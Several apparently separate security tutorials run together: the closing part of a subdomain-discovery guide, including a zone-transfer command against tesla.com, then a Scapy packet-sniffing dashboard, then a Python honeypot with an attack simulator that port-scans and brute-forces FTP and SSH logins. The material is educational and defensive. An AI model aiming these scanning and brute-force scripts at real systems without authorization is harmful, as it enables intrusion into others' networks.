Fuzzing should be combined with other methods since the results are only as good as the wordlist. For example, prod-version-2.tesla.com can be a subdomain which may not be a part of the wordlist.

Other Methods for Subdomain Discovery

DNS Zone Transfers

While rare, misconfigured DNS servers can allow zone transfers, revealing all subdomains at once. You can test this using dig:

dig axfr @ns1.tesla.com tesla.com

If the server is properly secured, it won’t allow a zone transfer. But if it’s misconfigured, you might uncover every subdomain Tesla uses.

Online Tools

Websites like SecurityTrails, Shodan, and Censys aggregate subdomain data. These tools provide a centralized view of publicly available information.

Inspecting JavaScript Files

Subdomains often appear in a website’s JavaScript files. By examining Tesla’s website, you might find references to API endpoints or other subdomains.

Post-Subdomain Discovery

Once you have a list of subdomains, we can probe them further. We may discover sign-in portals, development pages, or API endpoints.

Ethical hackers typically use port scanning and service enumeration tools like Nmap and Nikto to find the open ports and running services on each subdomain. Identifying outdated software, insecure protocols, or default credentials is often the next critical step, as these are common weak points in any environment.

Subdomains often show us the broader infrastructure of the website if they are left unprotected.

Conclusion

Subdomain discovery is a critical skill for ethical hackers. It helps us understand the complete picture of a web application. The more we know, the better entry points we have to gain access.

Before using these techniques, always ensure you have proper authorization. Subdomain discovery helps with security audits by uncovering hidden assets and helping organizations protect themselves from potential threats.

For more practical tutorials on cybersecurity, join our weekly newsletter. If you want to practice these subdomain discovery techniques through a hands-on lab, join us at the Hacker’s Hub.

By the end of this tutorial, you will know how to capture raw network packets from the NIC (Network Interface Card) of your computer, process the data, and create beautiful visualizations that will update in real-time.

Table of Contents

• Why is Network Traffic Analysis Important?

• Prerequisites

• How to Setup your Project

• How to Build the Core Functionalities

• How to Create the Streamlit Visualizations

• How to Capture the Network Packets

• Putting Everything Together

• Future Enhancements

• Conclusion

Why is Network Traffic Analysis Important?

Network traffic analysis is a critical requirement in enterprises where networks form the backbone of nearly every application and service. At the core of it, we have analysis of network packets that involves monitoring the network, capturing all the traffic (ingress and egress), and interpreting these packets as they flow through a network. You can use this technique to identify security patterns, detect anomalies, and ensure the security and efficiency of the network.

This proof-of-concept project that we’ll work on in this tutorial is particularly useful since it helps you visualize and analyze network activity in real-time. And this will allow you to understand how troubleshooting issues, performance optimizations, and security analysis is done in enterprise systems.

Prerequisites

• Python 3.8 or a newer version installed on your system.

• A basic understanding of computer networking concepts.

• Familiarity with the Python programming language and its widely used libraries.

• Basic knowledge of data visualization techniques and libraries.

How to Setup your Project

To get started, create the project structure and install the necessary tools with Pip with the following commands:

mkdir network-dashboard
cd network-dashboard
pip install streamlit pandas scapy plotly

We will be using Streamlit for the dashboard visualizations, Pandas for the data processing, Scapy for network packet capturing and packet processing, and finally Plotly for plotting charts with our collected data.

How to Build the Core Functionalities

We will be putting all of the code in a single file named dashboard.py. Firstly, let’s start by importing all the elements we will be using:

import streamlit as st
import pandas as pd
import plotly.express as px
import plotly.graph_objects as go
from scapy.all import *
from collections import defaultdict
import time
from datetime import datetime
import threading
import warnings
import logging
from typing import Dict, List, Optional
import socket

Now let’s configure logging by setting up a basic logging configuration. This will be used for tracking events and running our application in debug mode. We have currently set the logging level to be INFO, meaning that events with level INFO or higher will be displayed. If you are not familiar with logging in Python, I’d recommend checking out this documentation piece that goes in-depth.

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

Next, we’ll build our packet processor. We’ll implement the functionality of processing our captured packets in this class.

class PacketProcessor:
    """Process and analyze network packets"""

    def __init__(self):
        self.protocol_map = {
            1: 'ICMP',
            6: 'TCP',
            17: 'UDP'
        }
        self.packet_data = []
        self.start_time = datetime.now()
        self.packet_count = 0
        self.lock = threading.Lock()

    def get_protocol_name(self, protocol_num: int) -> str:
        """Convert protocol number to name"""
        return self.protocol_map.get(protocol_num, f'OTHER({protocol_num})')

    def process_packet(self, packet) -> None:
        """Process a single packet and extract relevant information"""
        try:
            if IP in packet:
                with self.lock:
                    packet_info = {
                        'timestamp': datetime.now(),
                        'source': packet[IP].src,
                        'destination': packet[IP].dst,
                        'protocol': self.get_protocol_name(packet[IP].proto),
                        'size': len(packet),
                        'time_relative': (datetime.now() - self.start_time).total_seconds()
                    }

                    # Add TCP-specific information
                    if TCP in packet:
                        packet_info.update({
                            'src_port': packet[TCP].sport,
                            'dst_port': packet[TCP].dport,
                            'tcp_flags': packet[TCP].flags
                        })

                    # Add UDP-specific information
                    elif UDP in packet:
                        packet_info.update({
                            'src_port': packet[UDP].sport,
                            'dst_port': packet[UDP].dport
                        })

                    self.packet_data.append(packet_info)
                    self.packet_count += 1

                    # Keep only last 10000 packets to prevent memory issues
                    if len(self.packet_data) > 10000:
                        self.packet_data.pop(0)

        except Exception as e:
            logger.error(f"Error processing packet: {str(e)}")

    def get_dataframe(self) -> pd.DataFrame:
        """Convert packet data to pandas DataFrame"""
        with self.lock:
            return pd.DataFrame(self.packet_data)

This class will build our core functionality and has several utility functions that will be used for processing the packets.

Network packets are categorized into two at transport level (TCP and UDP) and the ICMP protocol at the network level. If you are unfamiliar with the concepts of TCP/IP, I recommend checking out this article on freeCodeCamp News.

Our constructor will keep track of all packets seen that are categorized into these TCP/IP protocol type buckets that we defined. We’ll also take note of the packet capture time, the data captured, and the number of packets captured.

We’ll also be leveraging a thread lock to ensure that only one packet is processed at a single time. This can be further extended to enable the project to have parallel packet processing.

The get_protocol_name helper function helps us get the correct type of the protocol based on their protocol numbers. To give some background on this, the Internet Assigned Numbers Authority (IANA) assigns standardized numbers to identify different protocols in a network packet. As and when we see these numbers in the parsed network packet, we’ll know what kind of protocol is being used in the packet currently intercepted. For the scope of this project, we’ll be mapping to only TCP, UDP and ICMP (Ping). If we encounter any other type of packet, we’ll categorize it as OTHER(<protocol_num>).

The process_packet function handles our core functionality that will process these individual packets. If the packet contains an IP layer, it will take note of the source and destination IP addresses, protocol type, packet size, and time elapsed since the start of packet capturing.

For packets with specific transport layer protocols (like TCP and UDP), we will capture the source and destination ports along with TCP flags for TCP packets. These extracted details will be stored in memory in the packet_data list. We will also keep track of the packet_count as and when these packets are processed.

The get_dataframe function helps us to convert the packet_data list into a Pandas data-frame that will then be used for our visualization.

How to Create the Streamlit Visualizations

Now it’s time for us to build our interactive Streamlit Dashboard. We will define a function called create_visualization in the dashboard.py script (outside of our packet processing class).

def create_visualizations(df: pd.DataFrame):
    """Create all dashboard visualizations"""
    if len(df) > 0:
        # Protocol distribution
        protocol_counts = df['protocol'].value_counts()
        fig_protocol = px.pie(
            values=protocol_counts.values,
            names=protocol_counts.index,
            title="Protocol Distribution"
        )
        st.plotly_chart(fig_protocol, use_container_width=True)

        # Packets timeline
        df['timestamp'] = pd.to_datetime(df['timestamp'])
        df_grouped = df.groupby(df['timestamp'].dt.floor('S')).size()
        fig_timeline = px.line(
            x=df_grouped.index,
            y=df_grouped.values,
            title="Packets per Second"
        )
        st.plotly_chart(fig_timeline, use_container_width=True)

        # Top source IPs
        top_sources = df['source'].value_counts().head(10)
        fig_sources = px.bar(
            x=top_sources.index,
            y=top_sources.values,
            title="Top Source IP Addresses"
        )
        st.plotly_chart(fig_sources, use_container_width=True)

This function will take the data frame as input and will help us plot three charts / graphs:

1. Protocol Distribution Chart: This chart will display the proportion of different protocols (for example,TCP, UDP, ICMP) in the captured packet traffic.

2. Packets Timeline Chart: This chart will show the number of packets processed per second over a time period.

3. Top Source IP Addresses Chart: This chart will highlight the top 10 IP addresses that sent the most packets in the captured traffic.

The protocol distribution chart is simply a pie chart of the protocol counts for the three different types (along with OTHER). We use the Streamlit and Plotly Python tools to plot these charts. Since we also noted the timestamp since the packet capture started, we will use this data to plot the trend of packets captured over time.

For the second chart, we will do a groupby operation on the data and get the number of packets captured in each second (S stands for seconds), and then finally we will plot the graph.

Finally, for the third chart, we will count the distinct source IPs observed and the plot a chart of the IP counts to show the top 10 IPs.

How to Capture the Network Packets

Now, let’s build the functionality to allow us to capture network packet data.

def start_packet_capture():
    """Start packet capture in a separate thread"""
    processor = PacketProcessor()

    def capture_packets():
        sniff(prn=processor.process_packet, store=False)

    capture_thread = threading.Thread(target=capture_packets, daemon=True)
    capture_thread.start()

    return processor

This is a simple function that instantiates the PacketProcessor class and then uses the sniff function in the scapy module to start capturing the packets.

We use threading here to allow us to capture packets independently from the main program flow. This ensures that the packet capturing operation does not block other operations like updating the dashboard in real-time. We also return the created PacketProcessor instance so that it can be used in our main program.

Putting Everything Together

Now let’s stitch all these pieces together with our main function that will act as the driver function for our program.

def main():
    """Main function to run the dashboard"""
    st.set_page_config(page_title="Network Traffic Analysis", layout="wide")
    st.title("Real-time Network Traffic Analysis")

    # Initialize packet processor in session state
    if 'processor' not in st.session_state:
        st.session_state.processor = start_packet_capture()
        st.session_state.start_time = time.time()

    # Create dashboard layout
    col1, col2 = st.columns(2)

    # Get current data
    df = st.session_state.processor.get_dataframe()

    # Display metrics
    with col1:
        st.metric("Total Packets", len(df))
    with col2:
        duration = time.time() - st.session_state.start_time
        st.metric("Capture Duration", f"{duration:.2f}s")

    # Display visualizations
    create_visualizations(df)

    # Display recent packets
    st.subheader("Recent Packets")
    if len(df) > 0:
        st.dataframe(
            df.tail(10)[['timestamp', 'source', 'destination', 'protocol', 'size']],
            use_container_width=True
        )

    # Add refresh button
    if st.button('Refresh Data'):
        st.rerun()

    # Auto refresh
    time.sleep(2)
    st.rerun()

This function will also instantiate the Streamlit dashboard, and integrate all of our components together. We first set the page title of our Streamlit dashboard and then initialize our PacketProcessor. We use the session state in Streamlit to ensure that only one instance of packet capturing is created and the state of it is retained.

Now, we will dynamically get the dataframe from the session state every time the data is processed and begin to display the metrics and the visualizations. We will also display the recently captured packets along with information like the timestamp, source and destination IPs, protocol, and size of the packet. We will also add the ability for the user to manually refresh the data from the dashboard while we also automatically refresh it every two seconds.

Let’s finally run the program with the following command:

sudo streamlit run dashboard.py

Note that you will have to run the program with sudo since the packet capturing capabilities require administrative privileges. If you are on Windows, open your terminal as Administrator and then run the program without the sudo prefix.

Give it a moment for the program to start capturing packets. If everything goes right, you should see something like this:

These are all the visualizations that we just implemented in our Streamlit dashboard program.

Future Enhancements

With that, here are some future enhancement ideas that you can use to extend the functionalities of the dashboard:

1. Add machine learning capabilities for anomaly detection

2. Implement geographical IP mapping

3. Create custom alerts based on traffic analysis patterns

4. Add packet payload analysis options

Conclusion

Congratulations! You have now successfully built a real-time network traffic analysis dashboard with Python and Streamlit. This program will provide valuable insights into network behavior and can be extended for various use cases, from security monitoring to network optimization.

With that, I hope you learnt some basics about network traffic analysis as well as a bit of Python programming. Thanks for reading!

Think of these honeypots as security cameras for your system. Just as a security camera helps us understand who's trying to break into a building and how they're doing it, these honeypots will help you understand who's trying to attack your system and what techniques they're using.

By the end of this tutorial, you'll be able to write a demo honeypot in Python and understand how honeypots work.

Table of Contents

• Understanding the Types of Honeypots

• How to Set Up Your Development Environment

• How to Build the Core Honeypot

  • Implement the Network Listeners

  • Run the Honeypot

  • Write the Honeypot Attack Simulator

• How to Analyze Honeypot Data

• Security Considerations

• Conclusion

Understanding the Types of Honeypots

Before we start designing our own honeypot, let’s quickly understand their different types:

1. Production Honeypots: These types of honeypots are placed in an actual production environment and are used to detect actual security attacks. They are typically simple in design, easy to maintain and deploy, and offer limited interaction to reduce risk.

2. Research Honeypots: These are more complex systems set up by security researchers to study attack patterns, perform empirical analysis on these patterns, collect malware samples, and understand new attack techniques that aren’t discovered previously. They often emulate entire operating systems or networks rather than behaving like an application in the production environment.

For this tutorial, we will be building a medium-interaction honeypot that logs connection attempts and basic attacker behavior.

How to Set Up Your Development Environment

Let’s begin by setting up your development environment in Python. Run the following commands:

import socket
import sys
import datetime
import json
import threading
from pathlib import Path

# Configure logging directory
LOG_DIR = Path("honeypot_logs")
LOG_DIR.mkdir(exist_ok=True)

We will be sticking to the built in libraries so won’t be needing to install any external dependencies. We will be storing our logs in the honeypot_logs directory.

How to Build the Core Honeypot

Our basic honeypot will be comprised of three components:

1. A network listener that accepts connections

2. A logging system to record activities

3. A basic emulation service to interact with attackers

Now let’s begin by initializing the core Honeypot class:

class Honeypot:
    def __init__(self, bind_ip="0.0.0.0", ports=None):
        self.bind_ip = bind_ip
        self.ports = ports or [21, 22, 80, 443]  # Default ports to monitor
        self.active_connections = {}
        self.log_file = LOG_DIR / f"honeypot_{datetime.datetime.now().strftime('%Y%m%d')}.json"

    def log_activity(self, port, remote_ip, data):
        """Log suspicious activity with timestamp and details"""
        activity = {
            "timestamp": datetime.datetime.now().isoformat(),
            "remote_ip": remote_ip,
            "port": port,
            "data": data.decode('utf-8', errors='ignore')
        }

        with open(self.log_file, 'a') as f:
            json.dump(activity, f)
            f.write('\n')

    def handle_connection(self, client_socket, remote_ip, port):
        """Handle individual connections and emulate services"""
        service_banners = {
            21: "220 FTP server ready\r\n",
            22: "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1\r\n",
            80: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.41 (Ubuntu)\r\n\r\n",
            443: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.41 (Ubuntu)\r\n\r\n"
        }

        try:
            # Send appropriate banner for the service
            if port in service_banners:
                client_socket.send(service_banners[port].encode())

            # Receive data from attacker
            while True:
                data = client_socket.recv(1024)
                if not data:
                    break

                self.log_activity(port, remote_ip, data)

                # Send fake response
                client_socket.send(b"Command not recognized.\r\n")

        except Exception as e:
            print(f"Error handling connection: {e}")
        finally:
            client_socket.close()

This class has a lot of important information in it, so let’s go over each function one by one.

The __init__ function records the ip and port numbers on which we’ll host the honeypot, as well as the path / filename of the log file. We will also be maintaining a record of the total number of active connections we have to the honeypot.

The log_activity function is going to receive the information about the IP, the data, and the port to which the IP attempted a connection. Then we’ll append this information to our JSON-formatted log file.

The handle_connection function is going to mimic these services that will be running on the different ports we have. We will have the honeypot running on ports 21, 22, 80 and 443. These services are for FTP, SSH, HTTP and the HTTPS protocol, respectively. So any attacker attempting to interact with the honeypot should expect these services on these ports.

To mimic the behavior of these services, we’ll use the service banners that they use in reality. This function will first send the appropriate banner when the attacker connects, and then receive the data and log it. The honeypot will also send a fake response “Command not recognized” back to the attacker.

Implement the Network Listeners

Now let’s implement the network listeners that will be handling the incoming connections. For this, we’ll be using simple socket programming. If you aren’t aware of how socket programming works, check out this article that explains some concepts related to it.

def start_listener(self, port):
    """Start a listener on specified port"""
    try:
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((self.bind_ip, port))
        server.listen(5)

        print(f"[*] Listening on {self.bind_ip}:{port}")

        while True:
            client, addr = server.accept()
            print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")

            # Handle connection in separate thread
            client_handler = threading.Thread(
                target=self.handle_connection,
                args=(client, addr[0], port)
            )
            client_handler.start()

    except Exception as e:
        print(f"Error starting listener on port {port}: {e}")

The start_listener function will start the server and listen on the provided port. The bind_ip for us is going to be 0.0.0.0 which indicates that the server will be listening on all network interfaces.

Now, we will handle each new connection in a separate thread, since there could be instances where multiple attackers attempt to interact with the honeypot or an attacking script or tool is scanning the honeypot. If you aren’t aware of how threading works, you can check out this article that explains threading and concurrency in Python.

Also, make sure to put this function in the core Honeypot class.

Run the Honeypot

Now let’s create the main function that will start our honeypot.

def main():
    honeypot = Honeypot()

    # Start listeners for each port in separate threads
    for port in honeypot.ports:
        listener_thread = threading.Thread(
            target=honeypot.start_listener,
            args=(port,)
        )
        listener_thread.daemon = True
        listener_thread.start()

    try:
        # Keep main thread alive
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Shutting down honeypot...")
        sys.exit(0)

if __name__ == "__main__":
    main()

This function instantiates the Honeypot class and starts the listeners for each of our defined ports (21,22,80,443) as a separate thread. Now, we’ll keep our main thread that is running our actual program alive by putting it in an infinite loop. Put this all together in a script and run it.

Write the Honeypot Attack Simulator

Now let’s try to simulate some attack scenarios and target our honeypot so that we can collect some data in our JSON log file.

This simulator will help us demonstrate a few important aspects about honeypots:

1. Realistic attack patterns: The simulator will simulate common attack patterns like port scanning, brute force attempts, and service-specific exploits.

2. Variable intensity: The simulator will adjust the intensity of the simulation to test how your honeypot handles different loads.

3. Several attack types: It will demonstrate different types of attacks that real attackers might attempt, helping you understand how your honeypot responds to each.

4. Concurrent connections: The simulator will use threading to test how your honeypot handles multiple simultaneous connections.

# honeypot_simulator.py

import socket
import time
import random
import threading
from concurrent.futures import ThreadPoolExecutor
import argparse

class HoneypotSimulator:
    """
    A class to simulate different types of connections and attacks against our honeypot.
    This helps in testing the honeypot's logging and response capabilities.
    """

    def __init__(self, target_ip="127.0.0.1", intensity="medium"):
        # Configuration for the simulator
        self.target_ip = target_ip
        self.intensity = intensity

        # Common ports that attackers often probe
        self.target_ports = [21, 22, 23, 25, 80, 443, 3306, 5432]

        # Dictionary of common commands used by attackers for different services
        self.attack_patterns = {
            21: [  # FTP commands
                "USER admin\r\n",
                "PASS admin123\r\n",
                "LIST\r\n",
                "STOR malware.exe\r\n"
            ],
            22: [  # SSH attempts
                "SSH-2.0-OpenSSH_7.9\r\n",
                "admin:password123\n",
                "root:toor\n"
            ],
            80: [  # HTTP requests
                "GET / HTTP/1.1\r\nHost: localhost\r\n\r\n",
                "POST /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n",
                "GET /wp-admin HTTP/1.1\r\nHost: localhost\r\n\r\n"
            ]
        }

        # Intensity settings affect the frequency and volume of simulated attacks
        self.intensity_settings = {
            "low": {"max_threads": 2, "delay_range": (1, 3)},
            "medium": {"max_threads": 5, "delay_range": (0.5, 1.5)},
            "high": {"max_threads": 10, "delay_range": (0.1, 0.5)}
        }

    def simulate_connection(self, port):
        """
        Simulates a connection attempt to a specific port with realistic attack patterns
        """
        try:
            # Create a new socket connection
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3)

            print(f"[*] Attempting connection to {self.target_ip}:{port}")
            sock.connect((self.target_ip, port))

            # Get banner if any
            banner = sock.recv(1024)
            print(f"[+] Received banner from port {port}: {banner.decode('utf-8', 'ignore').strip()}")

            # Send attack patterns based on the port
            if port in self.attack_patterns:
                for command in self.attack_patterns[port]:
                    print(f"[*] Sending command to port {port}: {command.strip()}")
                    sock.send(command.encode())

                    # Wait for response
                    try:
                        response = sock.recv(1024)
                        print(f"[+] Received response: {response.decode('utf-8', 'ignore').strip()}")
                    except socket.timeout:
                        print(f"[-] No response received from port {port}")

                    # Add realistic delay between commands
                    time.sleep(random.uniform(*self.intensity_settings[self.intensity]["delay_range"]))

            sock.close()

        except ConnectionRefusedError:
            print(f"[-] Connection refused on port {port}")
        except socket.timeout:
            print(f"[-] Connection timeout on port {port}")
        except Exception as e:
            print(f"[-] Error connecting to port {port}: {e}")

    def simulate_port_scan(self):
        """
        Simulates a basic port scan across common ports
        """
        print(f"\n[*] Starting port scan simulation against {self.target_ip}")
        for port in self.target_ports:
            self.simulate_connection(port)
            time.sleep(random.uniform(0.1, 0.3))

    def simulate_brute_force(self, port):
        """
        Simulates a brute force attack against a specific service
        """
        common_usernames = ["admin", "root", "user", "test"]
        common_passwords = ["password123", "admin123", "123456", "root"]

        print(f"\n[*] Starting brute force simulation against port {port}")

        for username in common_usernames:
            for password in common_passwords:
                try:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(2)
                    sock.connect((self.target_ip, port))

                    if port == 21:  # FTP
                        sock.send(f"USER {username}\r\n".encode())
                        sock.recv(1024)
                        sock.send(f"PASS {password}\r\n".encode())
                    elif port == 22:  # SSH
                        sock.send(f"{username}:{password}\n".encode())

                    sock.close()
                    time.sleep(random.uniform(0.1, 0.3))

                except Exception as e:
                    print(f"[-] Error in brute force attempt: {e}")

    def run_continuous_simulation(self, duration=300):
        """
        Runs a continuous simulation for a specified duration
        """
        print(f"\n[*] Starting continuous simulation for {duration} seconds")
        print(f"[*] Intensity level: {self.intensity}")

        end_time = time.time() + duration

        with ThreadPoolExecutor(
            max_workers=self.intensity_settings[self.intensity]["max_threads"]
        ) as executor:
            while time.time() < end_time:
                # Mix of different attack patterns
                simulation_choices = [
                    lambda: self.simulate_port_scan(),
                    lambda: self.simulate_brute_force(21),
                    lambda: self.simulate_brute_force(22),
                    lambda: self.simulate_connection(80)
                ]

                # Randomly choose and execute an attack pattern
                executor.submit(random.choice(simulation_choices))
                time.sleep(random.uniform(*self.intensity_settings[self.intensity]["delay_range"]))

def main():
    """
    Main function to run the honeypot simulator with command-line arguments
    """
    parser = argparse.ArgumentParser(description="Honeypot Attack Simulator")
    parser.add_argument("--target", default="127.0.0.1", help="Target IP address")
    parser.add_argument(
        "--intensity",
        choices=["low", "medium", "high"],
        default="medium",
        help="Simulation intensity level"
    )
    parser.add_argument(
        "--duration",
        type=int,
        default=300,
        help="Simulation duration in seconds"
    )

    args = parser.parse_args()

    simulator = HoneypotSimulator(args.target, args.intensity)

    try:
        simulator.run_continuous_simulation(args.duration)
    except KeyboardInterrupt:
        print("\n[*] Simulation interrupted by user")
    except Exception as e:
        print(f"[-] Simulation error: {e}")
    finally:
        print("\n[*] Simulation complete")

if __name__ == "__main__":
    main()

We have a lot going on in this simulation script, so let’s break it down one by one. I’ve also added comments for every function and operation to make this a bit more readable in the code.

We first have our utility class called the HoneypotSimulator. In this class, we have the __init__ function that sets up the basic configuration for our simulator. It takes two parameters: a target IP address (defaulting to localhost) and an intensity level (defaulting to "medium").

We also define three important components: the target ports to probe (common services like FTP, SSH, HTTP), attack patterns specific to each service (like login attempts and commands), and intensity settings that control how aggressive our simulation will be through thread counts and timing delays.

The simulate_connection function handles individual connection attempts to a specific port. It creates a socket connection, tries to get any service banners (like SSH version information), and then sends appropriate attack commands based on the service type. We have added error handling for common network issues and also added realistic delays between commands to mimic human interaction.

Our simulate_port_scan function acts like a reconnaissance tool, that will systematically chec each port in our target list. It's similar to how tools like nmap work – going through ports one by one to see what services are available. For each port, it calls the simulate_connection function and adds small random delays to make the scan pattern look more natural.

The simulate_brute_force function maintains lists of common usernames and passwords, attempting different combinations against services like FTP and SSH. For each attempt, it creates a new connection, sends the login credentials in the correct format for that service, and then closes the connection. This helps us to test how well the honeypot detects and logs credential stuffing attacks.

The run_continuous_simulation function runs for a specified duration, randomly choosing between different attack types like port scanning, brute force, or specific service attacks. It uses Python's ThreadPoolExecutor to run multiple attacks simultaneously based on the specified intensity level.

Finally, we have the main function that provides the command-line interface for the simulator. It uses argparse to handle command-line arguments, letting users specify the target IP, intensity level, and duration of the simulation. It creates an instance of the HoneypotSimulator class and manages the overall execution, including proper handling of user interruptions and errors.

After putting the simulator code in a separate script, run it with the following command:

# Run with default settings (medium intensity, localhost, 5 minutes)
python honeypot_simulator.py

# Run with custom settings
python honeypot_simulator.py --target 192.168.1.100 --intensity high --duration 600

Since we are running the honeypot as well as the simulator on the same machine locally, the target will be localhost. But it can be something else in a real scenario or if you are running the honeypot in a VM or a different machine – so make sure you confirm the IP before running the simulator.

How to Analyze Honeypot Data

Let’s quickly write a helper function that will allow us to analyze all the data collected by the Honeypot. Since we’ve stored this in a JSON log file, we can conveniently parse it using the built-in JSON package.

import datetime
import json

def analyze_logs(log_file):
    """Enhanced honeypot log analysis with temporal and behavioral patterns"""
    ip_analysis = {}
    port_analysis = {}
    hourly_attacks = {}
    data_patterns = {}

    # Track session patterns
    ip_sessions = {}
    attack_timeline = []

    with open(log_file, 'r') as f:
        for line in f:
            try:
                activity = json.loads(line)
                timestamp = datetime.datetime.fromisoformat(activity['timestamp'])
                ip = activity['remote_ip']
                port = activity['port']
                data = activity['data']

                # Initialize IP tracking if new
                if ip not in ip_analysis:
                    ip_analysis[ip] = {
                        'total_attempts': 0,
                        'first_seen': timestamp,
                        'last_seen': timestamp,
                        'targeted_ports': set(),
                        'unique_payloads': set(),
                        'session_count': 0
                    }

                # Update IP statistics
                ip_analysis[ip]['total_attempts'] += 1
                ip_analysis[ip]['last_seen'] = timestamp
                ip_analysis[ip]['targeted_ports'].add(port)
                ip_analysis[ip]['unique_payloads'].add(data.strip())

                # Track hourly patterns
                hour = timestamp.hour
                hourly_attacks[hour] = hourly_attacks.get(hour, 0) + 1

                # Analyze port targeting patterns
                if port not in port_analysis:
                    port_analysis[port] = {
                        'total_attempts': 0,
                        'unique_ips': set(),
                        'unique_payloads': set()
                    }
                port_analysis[port]['total_attempts'] += 1
                port_analysis[port]['unique_ips'].add(ip)
                port_analysis[port]['unique_payloads'].add(data.strip())

                # Track payload patterns
                if data.strip():
                    data_patterns[data.strip()] = data_patterns.get(data.strip(), 0) + 1

                # Track attack timeline
                attack_timeline.append({
                    'timestamp': timestamp,
                    'ip': ip,
                    'port': port
                })

            except (json.JSONDecodeError, KeyError) as e:
                continue

    # Analysis Report Generation
    print("\n=== Honeypot Analysis Report ===")

    # 1. IP-based Analysis
    print("\nTop 10 Most Active IPs:")
    sorted_ips = sorted(ip_analysis.items(), 
                       key=lambda x: x[1]['total_attempts'], 
                       reverse=True)[:10]
    for ip, stats in sorted_ips:
        duration = stats['last_seen'] - stats['first_seen']
        print(f"\nIP: {ip}")
        print(f"Total Attempts: {stats['total_attempts']}")
        print(f"Active Duration: {duration}")
        print(f"Unique Ports Targeted: {len(stats['targeted_ports'])}")
        print(f"Unique Payloads: {len(stats['unique_payloads'])}")

    # 2. Port Analysis
    print("\nPort Targeting Analysis:")
    sorted_ports = sorted(port_analysis.items(),
                         key=lambda x: x[1]['total_attempts'],
                         reverse=True)
    for port, stats in sorted_ports:
        print(f"\nPort {port}:")
        print(f"Total Attempts: {stats['total_attempts']}")
        print(f"Unique Attackers: {len(stats['unique_ips'])}")
        print(f"Unique Payloads: {len(stats['unique_payloads'])}")

    # 3. Temporal Analysis
    print("\nHourly Attack Distribution:")
    for hour in sorted(hourly_attacks.keys()):
        print(f"Hour {hour:02d}: {hourly_attacks[hour]} attempts")

    # 4. Attack Sophistication Analysis
    print("\nAttacker Sophistication Analysis:")
    for ip, stats in sorted_ips:
        sophistication_score = (
            len(stats['targeted_ports']) * 0.4 +  # Port diversity
            len(stats['unique_payloads']) * 0.6   # Payload diversity
        )
        print(f"IP {ip}: Sophistication Score {sophistication_score:.2f}")

    # 5. Common Payload Patterns
    print("\nTop 10 Most Common Payloads:")
    sorted_payloads = sorted(data_patterns.items(),
                            key=lambda x: x[1],
                            reverse=True)[:10]
    for payload, count in sorted_payloads:
        if len(payload) > 50:  # Truncate long payloads
            payload = payload[:50] + "..."
        print(f"Count {count}: {payload}")

You can place this in a separate script file and call the function on the JSON logs. This function will provide us comprehensive insights from the JSON file based on the data collected.

Our analysis begins by grouping the data into several categories like IP-based statistics, port targeting patterns, hourly attack distributions, and payload characteristics. For every IP, we are tracking total attempts, first and last seen times, targeted ports and unique payloads. This will help us build unique profiles for attackers.

We also examine port-based attack patterns here that monitor for most frequently targeted ports, and by how many unique attackers. We also perform an attack sophistication analysis that helps us identify targeted attackers, considering factors like ports targeted and unique payloads used. This analysis is used for separating simple scanning activities and sophisticated attacks.

Temporal analysis helps us to identify patterns in hourly attack attempts revealing patterns in attack timing and potential automated targeting campaigns. Finally, we publish commonly seen payloads to identify commonly seen attack strings or commands.

Security Considerations

While deploying this honeypot, make sure you consider the following security measures:

1. Run your honeypot in an isolated environment. Typically inside a VM, or on your local machine that is behind a NAT and a firewall.

2. Run the honeypot with minimal system privileges (typically not as root) to reduce risk if compromised.

3. Be cautious with collected data if you plan to ever deploy it as a production-grade or research honeypot as it may contain malware or sensitive information.

4. Implement robust monitoring mechanisms to detect attempts to break out of the honeypot environment.

Conclusion

With this we have built our honeypot, written a simulator to simulate attacks for our honeypot and analyzed the data from our honeypot logs to make a few simple inferences. It is an excellent way to understand both offensive as well as defensive security concepts. You can consider building upon this to create more complex detection systems and think of adding features like:

1. Dynamic service emulation based on attack behavior

2. Integration with threat intelligence systems that will perform better inference analysis of these collected honeypot logs

3. Gather even comprehensive logs beyond the IP, port and network data through advanced logging mechanisms

4. Add machine learning capabilities to detect attack patterns

Remember that even though honeypots are powerful security tools, they should be a part of a comprehensive defensive security strategy, not the only line of defense.

I hope you learnt about how honeypots work, what is their purpose as well as a bit of Python programming as well!